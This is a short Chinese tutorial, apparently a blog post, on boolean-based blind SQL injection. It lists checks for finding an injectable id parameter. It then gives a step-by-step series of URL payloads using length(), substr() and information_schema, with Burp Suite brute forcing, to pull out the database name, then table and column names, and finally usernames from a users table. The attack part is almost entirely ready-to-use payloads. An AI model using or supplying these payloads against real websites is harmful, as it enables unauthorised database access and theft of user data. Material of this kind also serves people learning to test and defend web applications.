sql注入之布尔booler注入

判断方式:
   通过长度判断 length(): length(database())>=x
   通过字符判断 substr():substr(database() ,1,1)= 's'
   通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x
   注入漏洞判断:
   1.id=1'   报错
   2.id=1 and 1=1  结果和 id=1 一样
   3.id=1 and 1=2  结果异常

攻击实战:
Boolean 注入是指构造 SQL 判断语句,通过查看页面的返回结果来推测哪些 SQL 判断条件是成立的,以此来获取数据库中的数据。

  A:判断数据库名的长度 http://xxxxxx?id=1' and length(database())>=1--+  从而判 断数据库名的长度为 4
  B:判断数据库名 Substr() 数据库库名 a~z,0~9 ‘and substr(database(),1,1)--+
  C:Burp 判断数据库名 http://xxxxxxxx?id=1' and substr(database(),1,1)='a'--+ 逐字判断数据库名为 test,test 数据库名
  D:Burpsuite 爆破数据库的表名 http://xxxxxx?id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+ person     users   xss  //三个表
  E:Burp 爆字段名 http://xxxxxxxx?id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+ id   username  password 等
  F:获取数据 http://xxxxx?id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+

布尔盲注,即在页面没有错误

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值